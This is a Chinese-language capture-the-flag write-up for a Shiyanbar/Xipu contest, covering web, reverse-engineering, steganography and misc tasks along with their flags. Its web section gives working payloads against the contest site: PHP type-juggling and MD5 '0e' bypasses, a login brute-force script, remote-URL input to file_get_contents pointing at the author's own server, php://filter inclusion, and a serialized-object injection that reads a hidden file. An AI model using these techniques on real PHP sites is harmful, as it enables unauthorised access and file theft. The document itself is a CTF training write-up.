>
一个比较无语的比赛,还是记录一下解题姿势
这是一个实验吧和西普学院搞的比赛,说实话办得不太用心 题目基本都是以前CTF或者实验吧的一些原题,水份太多了,连flag都没改,直接搜到之前的wp提交就行了,这也是比赛很无语的一个地方
还是记录一下姿势
题目
| 类型 | 题目 | 答题链接 | 描述 | 分值 | |
|---|---|---|---|---|---|
| web | ctf入门级题目 | http://ctf1.shiyanbar.com/shian-rao/ | 有源码哦! | 100 | |
| 曲奇 | http://ctf1.shiyanbar.com/shian-quqi/ | 曲奇特别好吃!!! | 225 | ||
| 类型 | http://ctf1.shiyanbar.com/shian-leixing/ | php有好多类型啊 | 200 | ||
| 登录 | http://ctf1.shiyanbar.com/shian-s/ | 有提示 | 150 | ||
| admin | http://ctf1.shiyanbar.com/shian-du/ | you are not admin! | 250 | ||
| 逆向 | console | http://ctf1.shiyanbar.com/shian-file/console.rar | 好像是微软的语言吧。 | 200 | |
| getflag | http://ctf1.shiyanbar.com/shian-file/get_flag.rar | 算法其实特别简答,但是好像无法静态啊!啊!啊! | 225 | ||
| bin | http://ctf1.shiyanbar.com/shian-file/re.rar | linux可执行程序逆向一则。 | 300 | ||
| 动态暴力破解 | http://ctf1.shiyanbar.com/shian-file/baopo.rar | 下断点,然后手工暴力破解 | 275 | ||
| android | http://ctf1.shiyanbar.com/shian-file/android.rar | apk的逆向 | 250 | ||
| 简单算法 | http://ctf1.shiyanbar.com/shian-file/hackme.rar | 一个简单的算法而已。 | 200 | ||
| 隐写 | low | http://ctf1.shiyanbar.com/shian-file/low.rar | low low check out! | 250 | |
| 斑马斑马 | http://ctf1.shiyanbar.com/shian-file/banmabanma.rar | 斑马斑马,你不要睡着啦,再给我看看你受伤的尾巴,我不想去触碰你伤口的疤,我只想掀起你的头发。 | 125 | ||
| CreateByWho | http://ctf1.shiyanbar.com/shian-file/CreateByWho.rar | 零碎的二维码,好像还缺少几块!!! | 200 | ||
| 适合作为桌面的图片 | http://ctf1.shiyanbar.com/shian-file/desktop.rar | 让你的才思迸发出来吧!! | 150 | ||
| 杂项 | reverseMe | http://ctf1.shiyanbar.com/shian-file/reverseMe.rar | 这是一个什么文件呢? | 150 | |
| 珍妮的qq号 | http://ctf1.shiyanbar.com/shian-file/zhenni.rar | 珍妮的QQ是一个靓号哦 | 100 | ||
| 心仪的公司 | http://ctf1.shiyanbar.com/shian-file/webshell.rar | 小黑在拿到webshell后,马上就获得了自己心仪公司的照片 | 150 | ||
| 密码学 | des | http://ctf1.shiyanbar.com/shian-file/decode.rar | DES加密算法!! | 400 | |
| rsa | http://ctf1.shiyanbar.com/shian-file/rsa.rar | rsa | 300 |
Web整体比较简单 ## Web #### ctf入门级题目 直接给出源码
<?php
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}
?>分析:
题目的意思是既让你输入a-zA-Z0-9的数字字母又叫你输入包含--字符的password
,逻辑上显然是不通的,所以我们需要的是绕过ereg和strpos。
用数组传递就能满足条件了
ereg无法处理数组,当$__GET['password']为数组的时候会返回FALSE,而strpos找不到--也会返回FALSE
故传一个数组即可满足条件

flag{Maybe_using_rexpexp_wasnt_a_clever_move}
曲奇
进去就是一个看起来提示性很强的url
http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=a2V5LnR4dA==

a2V5LnR4dA==base64 decode得key.txt
顺理成章地想到文件读取
尝试访问http://ctf1.shiyanbar.com/shian-quqi/key.txt 成功访问到相同内容
且line这个参数经过测试应该是读取第几行的内容的作用
故写了几行Python读取源码
import requests
url = "http://ctf1.shiyanbar.com/shian-quqi/index.php?line={}&file=aW5kZXgucGhw"
for i in xrange(100):
print requests.get(url.format(i,)).text,得到源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>思路很简单,直接用burp改个cookie就好了

flag{UHGgd3rfH*(3HFhuiEIWF}
类型
直接是源码
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?> 看来是要过关斩将了
一步一步来 先看第一关
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
x1 不能是 1 但是又要 case 1
直接用不是数字来就好了,普通字母就能绕过了
为了加深理解,本地搭建了一下
if (isset($_GET['x1']))
{
$x1 =@ $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
echo "= =0";
case 1:
echo "= =!";
case 2:
echo "= =2!";
}
}输入x1为不是数字的就能过

然后是第二关:
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}$x2是个要被解释成数组的变量
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}然后$x2[x21]不能是数字且要大于2017
那么php的弱类型比较就派上用场了,直接用让$x2[x21]=9999是是是
然后php会在比较的时候将其转化为数字9999
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}接下来$x2[x22]必须是个数组,且包含两个元素且第一个是数组
然后array_search("XIPU", $x2["x22"])和for循环遍历要求$x2[x22]数组要有'XIPU'而且for循环又要求不能有'XIPU'
我们可以让$x2[x22]的第二个元素为0,跟$x2[x21]同理,也是弱类型比较,就会让array_search("XIPU", $x2["x22"])为真且满足for循环
故$x2[x22]=[[6],0]
第三关
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}要求$x3不能是"15562"且包含"XIPU"字符且substr(md5($x3),8,16) == substr(md5('15562'),8,16
直接MD5碰撞就好
import hashlib
flag =1
for i in xrange(10,99999):
md5_1 = hashlib.md5("XIPU"+str(i).zfill(6))
md5_2 = md5_1.hexdigest()
if md5_2[8:10] == "0e" :
for t in md5_2[10:24]:
if t.isalpha():
flag=0
break
if flag:
print md5_2
print "XIPU"+str(i).zfill(6)
break
flag=1输出结果为
2d3f55900e724039009658983fe76971
XIPU074428
为什么这么构造呢?
因为PHP的特性,使用==这个比较的时候会出现各种类型转换
我们观察到字符串15562MD5值的8-24位为0e46379442318098 当我们以这样的形式比较 ```php <?php if ("0e12"=="0e72356723") echo "E"; else echo "NE";?> ``` 输出是E因为当字符串为xexxxxx,其中x为数字时,php会将字符串转换成科学计数法,即0e12转化为0x10^12结果还是0,右边的0e72356723同理。所以会相等 所以我们只需要构造一个MD5的8-24位形式为0e[0-9]{16}且包含字符串XIPU的字符串就好了 脚本跑出的字符串XIPU074428的MD5值是2d3f55900e724039009658983fe76971,其8-24位是0e72403900965898`,正好符合条件
所以最终的payload为
http://ctf1.shiyanbar.com/shian-leixing/
?x1=是是是
&x2={"x21":"2018是是是","x22":[[1],0],"c":3,"d":4,"e":5}
&x3=XIPU074428
CTF{Php_1s_bstl4_1a}
登录
进去是个登录页面,有验证码 看源码,发现最底下

思路也比较简单,爆破就是了 Python脚本如下
import requests,re
url = "http://ctf1.shiyanbar.com/shian-s/"
url1 = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={}&randcode={}"
cookie = {"PHPSESSID":"is53k685uppq82vfb30lfdsfg7"}
for i in xrange(99999):
Vcode = re.findall("type=\"text\"><br><br>(.*?)<br><br>",requests.get(url,cookies=cookie).text)[0]
print "Now processing password: ",str(i).zfill(5)
result = requests.get(url1.format(str(i).zfill(5),Vcode),cookies=cookie)
result.encoding = "utf-8"
if len(result.text)!=146:
print result.text
break唯一的坑点就是要在cookie加上PHPSESSID 最后爆破到密码就是00325
flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a} #### admin
进去就提示you are not admin !
按照这个比赛的套路,直接看源码
you are not admin !
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}file_get_content是可以获取外部的资源的,当然,php.ini允许的时候才可以
故直接在我的vps上直接放了个t.txt,里面就是the user is admin
然后就绕过了第一个判断
http://ctf1.shiyanbar.com/shian-du/?user=https://wzsite.cn/static/t.txt

当然你也可以这样 用php伪协议来绕过

当时我用的就是方法一
然后include了一个$file,我们可以用
php://filter伪协议来includeclass.php进来
(为什么要看class.php? 因为源码提示啊= =) 然后得到
hello admin!
PD9waHANCg0KY2xhc3MgUmVhZHsvL2YxYTkucGhwDQogICAgcHVibGljICRmaWxlOw0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX3RvU3RyaW5nKCl7DQogICAgICAgIGlmKGlzc2V0KCR0aGlzLT5maWxlKSl7DQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgICAgDQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsNCiAgICB9DQp9DQo/
base64解码得到class.php的源码
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>看不出引用干嘛,可能是index.php的源码不全
再次获取index.php的源码
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
--!>果然留有后手 意思是叫咱们按照规则让echo
$pass运行然后调用Read类的__ToString()魔术方法
由$pass = unserialize($pass); echo $pass;
然后我们需要现将$pass序列化 故本地写个php(当然=
=也许大佬们都是直接拼出来的)
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
$a = new Read();
$a->file = "f1a9.php";
echo serialize($a);
?>得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
故最后payload为
http://ctf1.shiyanbar.com/shian-du/?user=https://wzsite.cn/static/t.txt&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

flag_Xd{hSh_ctf:e@syt0g3t}
逆向
console
丢查壳工具查看,发现是个.NET的程序,直接丢reflector反编译 发现关键源码
private static void MAIN(string[] A_0)
{
string str2 = null;
DateTime now = DateTime.Now;
string str3 = string.Format("{0}", now.Hour + 1);
string str4 = "CreateByTenshine";
FUN1(str4, Convert.ToInt32(str3), ref str2);
if (Console.ReadLine() == str2)
{
Console.WriteLine("u got it!");
Console.ReadKey(true);
}
else
{
Console.Write("wrong");
}
Console.ReadKey(true);
}private static void FUN1(string A_0, int A_1, ref string A_2)
{
int num = 0;
if (0 < A_0.Length)
{
do
{
char ch = A_0[num];
int num2 = 1;
do
{
ch = Convert.ToChar(FUN2(Convert.ToInt32(ch), num2));
num2++;
}
while (num2 < 15);
A_2 = A_2 + ch;
num++;
}
while (num < A_0.Length);
}
A_2 = FUN2(A_2);
}private static int FUN2(int A_0, int A_1)
{
return (new int[] {
2, 3, 5, 7, 11, 13, 0x11, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,
0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71
}[A_1] ^ A_0);
}简单地写个python就可以逆向出来了
import hashlib
l = [ 2, 3, 5, 7, 11, 13, 17, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 53, 0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 113]
str = "CreateByTenshine"
re = ""
for j in str:
num = ord(j)
for i in range(1,15):
num = l[i]^num
re+= chr(num)
print re
md5 = hashlib.md5(re)
print "flag{"+md5.hexdigest().upper()+"}"flag{967DDDFBCD32C1F53527C221D9E40A0B}
其他逆向是队友写的,还有的没做,逆向先更新到这
隐写
low
提示就是low,那必定是LSB最低有效为位隐写了 直接用Stegsolve打开发现找不到 最后才发现是实验吧的原题,原来是Stegsolve处理bmp的缺陷,将图片另存为png之后再用Stegsolve打开找就能找到了

然后发现手机扫描没反应 才意识到是反色了 把二维码截取下来,直接丢到任何可编辑的地方,比如QQ,word,然后直接鼠标拖动覆盖选择图片一下就直接反色了,然后就扫描就可以得到flag了
flag{139711e8e9ed545e}
斑马斑马

= =脑洞题,不想解释 斑马身上是个条形码,直接扫描就好了 在线扫描条形码网站:https://online-barcode-reader.inliteresearch.com/
CreateByWho
是一个零碎的二维码图片
之前百度杯也有类似的题,不过这个二维码是缺少了几部分的
没写出来
看别人的wp是把缺的三个角的方块自己补全然后扫描

脑洞也是略大
适合作为桌面的图片
很简单的隐写题 首先把图片用Stegsolve进行LSB隐写查找,找到如下二维码
扫描之后得到一串十六进制数
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000
把所有的十六进制字符用winhex新建一个文件 发现文件末尾出现了1.py的字符

目测是pyc逆向 丢到在线pyc逆向网站http://tool.lu/pyc/ 逆向得
def flag():
str = [102,108,97,103,123,51,56,97,53,55,48,51,50,48,56,53,52,52,49,101,55,125]
flag = ''
for i in str:
flag += chr(i)
print flag运行一下即可获得flag flag{38a57032085441e7}
Misc
ReverseMe
拿到文件发现打不开,用winhex查看发现是一个倒过来的图片文件

直接用python逐个反过来就好了
f = open(r"C:\Users\windows8.Windows\Desktop\reverseMe\reverseMe","rb")
f_1 = open(r"C:\Users\windows8.Windows\Desktop\reverseMe_R","wb")
f_1.write(f.read()[::-1])
f.close()
f_1.close()然后用画图查看,发现是这个样子

翻转一下就好了


flag{4f7548f93c7bef1dc6a0542cf04e796e}
珍妮的qq号
不解释
珍妮换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。
for i in xrange(1,99999):
if str(i).zfill(5)== str(4*i).zfill(5)[::-1]:
print 4*i
break87912
webshell
分析数据包的题
提示是小黑在拿到webshell后,马上就获得了自己心仪公司的照片
猜测就是找http包然后分析包含照片的信息
用wireshark打开包,过滤出http协议的包,不一会就能找到图片中的flag

fl4g:{ftop_Is_Waiting_4_y}
总结
先让我吐槽一下――辣鸡比赛 这是一个不尊重参赛者的比赛 连flag也不改,题目都是原题,选择题宕机最后半小时又开启说要算分(当时我直接无视了),以及决赛还要自带干粮(这个不能忍!) 所以是果断地拒绝了参加决赛,纯当练手了
感悟:
- 少参加类似的技术含量低的比赛(除非实在闲得慌)
- 逆向要加强,汇编、动态调试、加花混淆、防动调等
- 多运动,做一天的题,累得慌
感谢阅读